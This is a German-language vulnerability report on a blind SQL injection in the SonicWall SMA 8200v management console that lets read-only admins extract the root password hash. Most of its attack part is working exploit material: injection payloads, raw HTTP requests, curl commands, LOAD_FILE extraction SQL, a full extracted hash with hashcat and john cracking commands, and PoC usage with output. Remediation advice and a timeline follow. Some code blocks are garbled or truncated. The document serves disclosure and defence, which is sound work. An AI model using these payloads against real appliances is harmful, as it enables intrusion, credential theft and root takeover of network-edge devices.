
Eine Blind-SQL-Injection-Schwachstelle nach der Authentifizierung in der Verwaltungskonsole der SonicWall SMA 8200v (Port 8443) ermöglicht jedem authentifizierten Administrator – einschließlich Konten mit niedrigen Rechten und Nur-Lese-Zugriff – den SHA-512-Passwort-Hash des Hauptadministrators aus der Konfigurationsdatei des Appliances zu extrahieren. Da SonicWall dieselben Anmeldedaten sowohl für den Administrator der Verwaltungskonsole als auch für das Root-Konto des Betriebssystems verwendet, führt das Knacken dieses Hashs zu vollem Root-Zugriff auf das Appliance.
Klassifizierung: Privilege Escalation (Administrator mit niedrigen Rechten zu Root) CVSS 3.1: 7.2 (Hoch) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Angriffskomplexität: Niedrig (automatisierter PoC schließt die Extraktion in ca. 60–90 Minuten ab) Voraussetzungen: Jede gültige Anmeldedaten für die Verwaltungskonsole (einschließlich Nur-Lese-Konten)
Die Verwaltungskonsole erstellt SQL-Abfragen für das Dashboard der aktiven Benutzer mithilfe einer Hilfsmethode safeParam() in der Klasse com.aventail.mgmt.sql.Sql. Diese Methode maskiert einfache Anführungszeichen (') und doppelte Anführungszeichen ("), indem sie diese verdoppelt, maskiert jedoch nicht Backslash-Zeichen (\).
In MySQL/MariaDB ist ein Backslash das Standard-Escape-Zeichen innerhalb von String-Literalen. Die Sequenz \' bewirkt, dass die Datenbank das einfache Anführungszeichen als literales Zeichen interpretiert und nicht als String-Abschluss. Das bedeutet, dass ein Backslash am Ende eines Parameterwerts das schließende Anführungszeichen maskiert, das die Anwendung anhängt, wodurch sich das SQL-String-Literal in die angrenzende Syntax ausdehnt.
Bereinigungslücke:```
Input: test
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test') AND (ct.name='...'
^^ backslash escapes the closing quote
Der abschließende `'` nach `test\` wird als wörtliches Anführungszeichen innerhalb des Strings konsumiert, sodass sich das SQL-String-Literal über die Grenze `) AND (ct.name='` hinweg und in den Wert des nächsten Parameters erstreckt, wo angreiferkontrolliertes SQL injiziert werden kann.
### 3.2 Injektionsmechanik: Parallele-Parameter-Technik
Der Endpunkt `activeUsers.action` akzeptiert mehrere Filterparameter, die in eine einzelne SQL-WHERE-Klausel interpoliert werden. Die relevanten Parameter sind `realmFilter` und `communityFilter`, die in einer Abfrage erscheinen, die ungefähr wie folgt strukturiert ist:```sql
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
Angriffsparameter-Setup:
| Parameter | Wert | Zweck |
|---|---|---|
realmFilter | test\ | Nachgestellter Backslash escaped das schließende Anführungszeichen und erweitert das String-Literal über die AND-Grenze hinweg |
communityFilter | )) OR (SELECT IF(<condition>,SLEEP(N),0))-- x |
Resultierendes SQL nach der Interpolation:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')
Aufschlüsselung:
1. `rt.name='test\')` — das `\` escaped das `'`, sodass der String hier nicht geschlossen wird
2. `AND (ct.name='` — wird Teil des String-Werts (wörtlicher Text)
3. Der String schließt schließlich beim nächsten `'` (vom Beginn von `communityFilter`)
4. `))` — schließt die zwei offenen Klammern aus der WHERE-Klausel-Struktur
5. `OR (SELECT IF(...))` — injiziert die blinde SQLi-Bedingung
6. `-- x` — kommentiert das restliche SQL aus (`')` und andere Klauseln)
### 3.3 Zeitbasierte Blind-Extraktion
Da die Struts-2-Fehlerbehandlung der Anwendung SQL-Ausnahmen elegant abfängt (immer HTTP 200 mit demselben Seiteninhalt zurückgibt, unabhängig davon, ob die Abfrage erfolgreich ist oder fehlschlägt), sind fehlerbasierte und UNION-basierte Extraktionsmethoden nicht praktikabel. Die Injektion wird mithilfe der zeitbasierten Blind-Technik ausgenutzt:
- **TRUE-Bedingung:** `IF(<condition>, SLEEP(N), 0)` — Antwort verzögert um die SLEEP-Dauer multipliziert mit der Zeilenanzahl des Ergebnissatzes
- **FALSE-Bedingung:** Kein SLEEP — Antwort erfolgt in ~200-500ms
Die SLEEP-Funktion wird pro Zeile bei der Auswertung der WHERE-Klausel ausgeführt. Bei einer typischen Überwachungstabelle mit 30-300+ Zeilen erzeugt selbst ein kleiner SLEEP-Wert (z. B. 0,3s) eine klar unterscheidbare Verzögerung (10-100s für TRUE vs. <1s für FALSE).
Jedes Zeichen der Zieldaten wird mittels binärer Suche über den ASCII-Bereich extrahiert:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
Dies erfordert maximal 7 Anfragen pro Zeichen (log2(128) = 7), was insgesamt ~686 Anfragen für einen 98 Zeichen langen SHA-512-Hash ergibt.
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover
### 4.2 Schritt 1: Authentifizierung
Die SMA-Verwaltungskonsole unterstützt zwei Authentifizierungsbereiche:
| Bereichs-ID | Anzeigename | Benutzer |
|----------|-------------|-------|
| *(leer)* | Verwaltungskonsole | Nur primäres Administratorkonto |
| `AMCAuthRealm` / `Lokale Authentifizierung` | Lokale Authentifizierung | Sekundäre Administratorkonten (readonly, custom) |
Der Angriff erfordert lediglich gültige Anmeldedaten für **jedes** Konto mit Zugriff auf die Verwaltungskonsole. Das Konto „readonly" — das für reinen Überwachungszugriff ohne Änderungsmöglichkeit an der Konfiguration vorgesehen ist — reicht aus.
Die Authentifizierung erfolgt über die J2EE-Formularbasierte Authentifizierung:
1. `GET /console.action` — ruft die Anmeldeseite ab, extrahiert das CSRF-Token aus dem versteckten Formularfeld
2. `POST /j_security_check` — übermittelt `csrfToken`, `j_username`, `j_password` und `realmId`
3. HTTP-303-Weiterleitung bei Erfolg, `JSESSIONID`-Cookie wird gesetzt
### 4.3 Schritt 2: SQL-Injection
Nach der Authentifizierung sendet der Angreifer eine POST-Anfrage an `/activeUsers.action` mit der parameterübergreifenden Injection:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded
realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter
Das unbedingte IF(1=1, SLEEP(0.3), 0) verifiziert, dass die Injektion funktional ist, indem eine messbare Verzögerung in der HTTP-Antwort beobachtet wird.
Die MariaDB-Datenbank läuft unter dem OS-Benutzer DbAdmin (uid=1001, gid=500 aventail). Dieser Datenbankbenutzer besitzt ALL PRIVILEGES ON *.* WITH GRANT OPTION, einschließlich des FILE-Privilegs, das für LOAD_FILE() erforderlich ist.
Ein kritischer Befund: Trotz der MariaDB-Konfigurationseinstellung secure_file_priv = NULL (die INTO OUTFILE- und INTO DUMPFILE-Schreiboperationen blockiert), bleibt die LOAD_FILE()-Funktion zum Lesen von Dateien vollständig funktionsfähig. Dies ist ein dokumentiertes, aber wenig verstandenes MariaDB-Verhalten — secure_file_priv=NULL schränkt Datei-Schreibpfade ein, deaktiviert jedoch das Lesen von Dateien nicht, wenn der Benutzer das FILE-Privileg besitzt.
Die Zielkonfigurationsdatei /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml gehört mgmt-server:aventail mit den Berechtigungen 664 (rw-rw-r--). Da der OS-Benutzer DbAdmin in der Gruppe aventail ist, kann LOAD_FILE() diese Datei lesen.
Verifizierung über blinde SQLi:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable
### 4.5 Schritt 4: Lokalisieren des Admin-Hashes in avconfig.xml
Die Datei `avconfig.xml` (~98 KB) ist der zentrale Konfigurationsspeicher des Appliances. Sie enthält alle Benutzeranmeldedaten im SHA-512-crypt-Format innerhalb von `<password>`-XML-Elementen. Der primäre Admin-Hash befindet sich in einem `<credentials_item>`-Block in der Nähe eines `<consoleMode>`-Elements, das für den Admin-Bereich einzigartig ist.
Anstatt sich auf fest codierte Byte-Offsets zu verlassen (die brechen würden, wenn sich die Konfiguration oberhalb des Admin-Bereichs ändert), verwendet die Extraktion MySQL-String-Funktionen, um den Hash dynamisch zu lokalisieren:```sql
SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE(<path>),
LOCATE('<password>', LOAD_FILE(<path>),
LOCATE('consoleMode', LOAD_FILE(<path>))
) + 10, -- skip past '<password>' tag (10 chars)
120 -- max SHA-512 crypt length
),
'<', -- trim at '</password>' closing tag
1
)
Logik:
LOCATE('consoleMode', file) — findet den Byte-Offset der Zeichenkette consoleMode und verankert so im Admin-KonfigurationsabschnittLOCATE('<password>', file, anchor_offset) — findet das erste <password>-Tag nach diesem AnkerSUBSTRING(file, tag_offset + 10, 120) — extrahiert den Hash-Wert (überspringt das 10 Zeichen lange <password>-Tag)SUBSTRING_INDEX(result, '<', 1) — schneidet am schließenden </password>-Tag abDieser Ansatz ist positionsunabhängig und robust gegenüber Konfigurationsänderungen an anderer Stelle in der Datei. Der gesamte Ausdruck wird mit MySQL-Hex-Literalen (0x...) kodiert, um Anführungszeichen-Probleme im Injektionskontext zu vermeiden.
Jedes Zeichen des Hashs wird per binärer Suche extrahiert:```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),
, 1)) > , SLEEP(0.3), 0)
Die binäre Suche halbiert den ASCII-Bereich [0, 127] mit jeder Anfrage:
| Schritt | Bereich | Test | Ergebnis |
|------|-------|------|--------|
| 1 | [0, 127] | > 63? | WAHR → [64, 127] |
| 2 | [64, 127] | > 95? | FALSCH → [64, 95] |
| 3 | [64, 95] | > 79? | FALSCH → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | konvergiert | Zeichen = chr(n) |
Für den bekannten Admin-Hash (`$6$WHTK8ybQ$MchVNW...`) erfordert die Extraktion aller 98 Zeichen ungefähr 686 HTTP-Anfragen.
### 4.7 Schritt 6: Hash-Knacken
Der extrahierte Hash liegt im Standard-SHA-512-crypt-Format vor:```
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| Feld | Wert |
|---|---|
| Algorithmus | — SHA-512 crypt |
hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
### 4.8 Schritt 7: Vollständige Kompromittierung
Die SonicWall-SMA-Architektur verwendet das Admin-Passwort der Verwaltungskonsole als Root-Passwort des Betriebssystems. Dies ist eine Design-Entscheidung — wenn das Admin-Passwort über die Verwaltungskonsole festgelegt oder geändert wird, wird es sowohl auf die Weboberfläche als auch auf das zugrunde liegende Linux-Root-Konto angewendet. Daher bietet das Knacken des Admin-Hashes:
- **Verwaltungskonsole (Port 8443):** Vollständiger administrativer Zugriff auf alle Konfigurationen, Richtlinien, Benutzerverwaltung und Überwachung
- **SSH (Port 22):** Root-Shell-Zugriff auf das zugrunde liegende Debian-Linux-Betriebssystem
- **Serielle Konsole:** Root-Anmeldung für physischen/Out-of-Band-Zugriff
---
## 5. Beitragende Faktoren
Mehrere Architektur-Entscheidungen wirken zusammen und machen diese Schwachstelle ausnutzbar:
### 5.1 Unvollständige SQL-Bereinigung
Die Methode `safeParam()` in `com.aventail.mgmt.sql.Sql` maskiert Anführungszeichen, aber keine Backslashes. Dies ist eine bekannte Klasse von SQL-Injection — das Backslash-Escape-Verhalten von MySQL ist seit den frühen 2000er-Jahren als Sicherheitsproblem dokumentiert. Die Behebung ist trivial: Entweder Backslashes maskieren (`\` → `\\`), den SQL-Modus `NO_BACKSLASH_ESCAPES` setzen oder parametrisierte Abfragen verwenden.
### 5.2 Überprivilegierter Datenbank-Benutzer
Der MariaDB-Benutzer `DbAdmin` läuft mit `ALL PRIVILEGES ON *.* WITH GRANT OPTION`. Dies gewährt Fähigkeiten, die weit über das hinausgehen, was die Anwendung benötigt, einschließlich:
- `FILE`-Berechtigung (LOAD_FILE, INTO OUTFILE)
- `SUPER`-Berechtigung
- `GRANT OPTION` (kann neue Superuser-Konten erstellen)
Die Anwendung benötigt nur SELECT/INSERT/UPDATE/DELETE auf ihren eigenen Datenbanken. Die übermäßigen Berechtigungen verwandeln eine SQL-Injection von Datenextraktion in beliebiges Datei-Lesen/-Schreiben.
### 5.3 Fehlkonfiguration von secure_file_priv
Während `secure_file_priv = NULL` Datei-**Schreib**-Operationen blockiert (`INTO OUTFILE`, `INTO DUMPFILE`), blockiert es **nicht** Datei-**Lese**-Operationen (`LOAD_FILE()`). Dies ist ein dokumentiertes MariaDB-Verhalten, das häufig missverstanden wird. Administratoren und Entwickler nehmen oft an, dass `secure_file_priv = NULL` die gesamte Datei-E/A deaktiviert, aber es schränkt nur den Schreibpfad ein.
Um `LOAD_FILE()` vollständig zu deaktivieren, muss die `FILE`-Berechtigung vom Datenbank-Benutzer entzogen werden:```sql
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';
Die Datei avconfig.xml, die alle Passwort-Hashes enthält, gehört mgmt-server:aventail mit Modus 664. Die Gruppe aventail umfasst den OS-Benutzer DbAdmin (unter dem MariaDB läuft). Das bedeutet, dass der Datenbankprozess die Master-Konfigurationsdatei des Appliances lesen kann, einschließlich aller gespeicherten Anmeldedaten.
Ein restriktiveres Berechtigungsmodell (z. B. Modus 600 im Besitz von mgmt-server:mgmt-server oder die Speicherung der Hashes in einer dedizierten Secrets-Datei, die nur von der Verwaltungsanwendung gelesen werden kann) würde verhindern, dass LOAD_FILE() selbst mit dem FILE-Privileg auf die Hashes zugreifen kann.
Die Designentscheidung, dasselbe Passwort für den Admin der Verwaltungskonsole und das OS-Root-Konto zu verwenden, bedeutet, dass das Extrahieren des Admin-Hashes aus der Anwendungsebene direkt Root-Zugriff auf das Betriebssystem gewährt. Dadurch entfällt jegliche Grenze zwischen der Webanwendungsebene und dem zugrunde liegenden Betriebssystem.
Die Rolle „readonly" der Verwaltungskonsole ist für reinen Überwachungszugriff ohne Konfigurationsänderungsmöglichkeiten gedacht. Der Endpunkt activeUsers.action verarbeitet Filterparameter jedoch für alle authentifizierten Benutzer identisch, unabhängig von der Rolle. Das schreibgeschützte Konto kann dieselbe SQL-Injection ausführen wie der primäre Admin, da die Schwachstelle im Datenabrufpfad (Auflisten/Filtern aktiver Benutzer) liegt und nicht in einem Pfad für Konfigurationsänderungen.
Ein vollautomatisiertes Exploitation-Tool wurde entwickelt und gegen das Live-Ziel validiert.
Verwendung (readonly-Konto – Nachweis der Privilegienausweitung):```bash
python3 sma_admin_hash_poc.py
-t 10.10.185.35
--user readonly
--password <readonly_password>
--realm "Local Authentication"
-o admin.hash
-v
**Ausführungsphasen:**
1. **Phase 1: Authentifizierung** — Meldet sich mit den angegebenen Anmeldedaten und der Realm an, erhält JSESSIONID
2. **Phase 2: Verifizierung** — Bestätigt, dass SQLi funktional ist (SLEEP-Timing), LOAD_FILE avconfig.xml lesen kann und der Admin-Hash-Anker vorhanden ist
3. **Phase 3: Extraktion** — Binärsuche extrahiert den vollständigen SHA-512-Hash Zeichen für Zeichen
4. **Phase 4: Ausgabe** — Schreibt den Hash im hashcat-fähigen Format und gibt Cracking-Befehle aus
**Beobachtete Ausgabe:**```
[*] Target: 10.10.10.35:8443
[*] User: readonly
[*] Realm: Local Authentication
[*] Phase 1: Authenticating to admin console...
[+] Authentication successful
[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml
[*] Phase 3: Extracting admin password hash...
Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...
Die Injection kann auch manuell ohne das PoC-Tool verifiziert werden:```bash
curl -sk -c cookies.txt
"https://:8443/console.action" | grep csrfToken
curl -sk -b cookies.txt -c cookies.txt
-d "csrfToken=&j_username=readonly&j_password=&realmId=Local+Authentication"
"https://:8443/j_security_check"
time curl -sk -b cookies.txt
-d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
time curl -sk -b cookies.txt
--data-urlencode "realmFilter=test\"
--data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x"
-d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
### 6.3 Direkte SQL-Überprüfung über die MySQL-CLI
Mit Root-SSH-Zugriff kann der SQL-Extraktionsausdruck direkt verifiziert werden:```sql
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248
-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('<password>',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('consoleMode',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
)
) + 10,
120
),
'<',
1
) AS admin_hash;
-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| Auswirkung | Beschreibung |
|---|---|
| Vertraulichkeit | Voller Lesezugriff auf alle Dateien, die für die Gruppe aventail lesbar sind, einschließlich Konfigurationsdateien, Anmeldedaten, Zertifikaten und Schlüsseln |
Szenario 1: Insider-Bedrohung / Verletzung des Prinzips der geringsten Rechte Ein schreibgeschützter Administrator (SOC-Analyst, Prüfer, Junior-Engineer) mit legitimem Überwachungszugriff eskaliert zu vollem Admin-/Root-Zugriff und umgeht dabei alle rollenbasierten Zugriffskontrollen.
Szenario 2: Eskalation durch kompromittierte Anmeldedaten Ein Angreifer, der beliebige Anmeldedaten für die Verwaltungskonsole erlangt (Phishing, Credential Stuffing, Standardpasswörter), kann unabhängig von der vorgesehenen Berechtigungsstufe des kompromittierten Kontos zu Root-Zugriff eskalieren.
Szenario 3: Netzwerk-Pivot Root-Zugriff auf das SMA-Gerät bietet einen dauerhaften Ausgangspunkt am Netzwerkrand. Der Angreifer kann VPN-Datenverkehr abfangen, das Routing ändern, auf interne Netzwerksegmente zugreifen und alle VPN-Benutzeranmeldedaten aus der Konfiguration extrahieren.
Parametrisierte Abfragen: Ersetzen Sie die String-Interpolation in safeParam() durch Prepared Statements / parametrisierte Abfragen in der gesamten SQL-Schicht der Verwaltungskonsole. Dadurch wird die Injektion unabhängig von der Zeichen-Escaping-Technik eliminiert.
FILE-Berechtigung entziehen: Entfernen Sie die FILE-Berechtigung vom Datenbankbenutzer DbAdmin: ```sql
REVOKE FILE ON . FROM 'DbAdmin'@'localhost';
FLUSH PRIVILEGES;
Datenbankrechte einschränken: Wenden Sie das Prinzip der geringsten Rechte auf DbAdmin an – gewähren Sie nur SELECT, INSERT, UPDATE, DELETE auf den spezifischen Datenbanken, die die Anwendung benötigt (monitoring, scheduler, troubleshooting).
Berechtigungen für avconfig.xml einschränken: Ändern Sie Dateibesitzer und -berechtigungen, um zu verhindern, dass der Datenbankbenutzer die Konfiguration lesen kann: ```bash chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
Getrennte Admin- und Root-Anmeldedaten: Entkoppeln Sie das Admin-Passwort der Verwaltungskonsole vom OS-Root-Passwort. Verwenden Sie unterschiedliche Anmeldedaten mit unabhängigen Änderungs-/Rotationsmechanismen.
Rollenbasierter Endpunktzugriff: Beschränken Sie den activeUsers.action-Endpunkt (und alle anderen Datenabfrage-Endpunkte) basierend auf der Benutzerrolle auf der Anwendungsebene, nicht nur auf der UI-/Menüebene.
Härtung des SQL-Modus: Setzen Sie NO_BACKSLASH_ESCAPES in der MariaDB-Konfiguration, um die Interpretation von Backslash-Escapezeichen global zu deaktivieren: ```ini
[mysqld]
sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES
Hash-Speicherung trennen: Speichern Sie Passwort-Hashes in einer dedizierten Datei oder Datenbanktabelle, die für den allgemeinen Anwendungsdatenbank-Benutzer nicht zugänglich ist, anstatt in der Haupt-XML-Konfigurationsdatei.
LOAD_FILE() erfordert die FILE-Berechtigung; secure_file_priv schränkt SELECT ... INTO ein, aber nicht LOAD_FILE()NO_BACKSLASH_ESCAPES nicht gesetzt ist, wird \ in String-Literalen als Escape-Zeichen behandelt$6$-Präfix, konfigurierbare Runden (Standard 5000), 86-stelliger Base64-Hash-Ausgabe$6$)| Komponente | Details |
|---|
| Plattform | SonicWall SMA 8200v (virtuelles Appliance) |
| Firmware | 12.5.0-02283 (bestätigt); wahrscheinlich alle 12.x |
| Dienst | Verwaltungskonsole — Jetty + Struts 2 (Port 8443) |
| Endpunkt | POST /activeUsers.action |
| Verwundbare Parameter | realmFilter, communityFilter (Cross-Parameter) |
| Ursachenklasse | com.aventail.mgmt.sql.Sql.safeParam() |
| Datenbank | MariaDB 10.11.14, Benutzer DbAdmin (ALLE RECHTE + FILE) |
| Zieldatei | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
| Schließt die offenen Klammern, injiziert ein bedingtes SLEEP und kommentiert den Rest aus |
$6$| Salt | WHTK8ybQ |
| Runden | 5000 (Standard, nicht angegeben) |
| Hashcat-Modus | 1800 |
| John-Format | sha512crypt |
| Integrität | Nach dem Cracken von Hashes: Voller Admin-Konsolen-Zugriff ermöglicht beliebige Konfigurationsänderungen, Richtlinienänderungen und Benutzerverwaltung |
| Verfügbarkeit | Root-Zugriff ermöglicht Dienstunterbrechungen, Datenzerstörung oder dauerhafte Deaktivierung des Geräts (Bricking) |
| Datum | Ereignis |
|---|
| 2026-02-24 | Cross-Parameter-SQLi durch statische Analyse von safeParam() identifiziert |
| 2026-02-24 | Blind-SQLi mit Admin-Sitzung bestätigt (SLEEP-Timing) |
| 2026-02-25 | SQLi mit Readonly-Konto bestätigt (Privilegieneskalationsvektor) |
| 2026-02-25 | LOAD_FILE() trotz secure_file_priv=NULL als funktionsfähig bestätigt |
| 2026-02-25 | avconfig.xml als Credential-Speicher mit Admin-/Root-Hash identifiziert |
| 2026-02-25 | SQL-Extraktionsausdruck über MySQL-CLI validiert |
| 2026-02-25 | Vollständige automatisierte Extraktion mit PoC-Tool bestätigt (sma_admin_hash_poc.py) |
| 2026-02-25 | Privilegieneskalationskette validiert: readonly -> admin/root-Hash |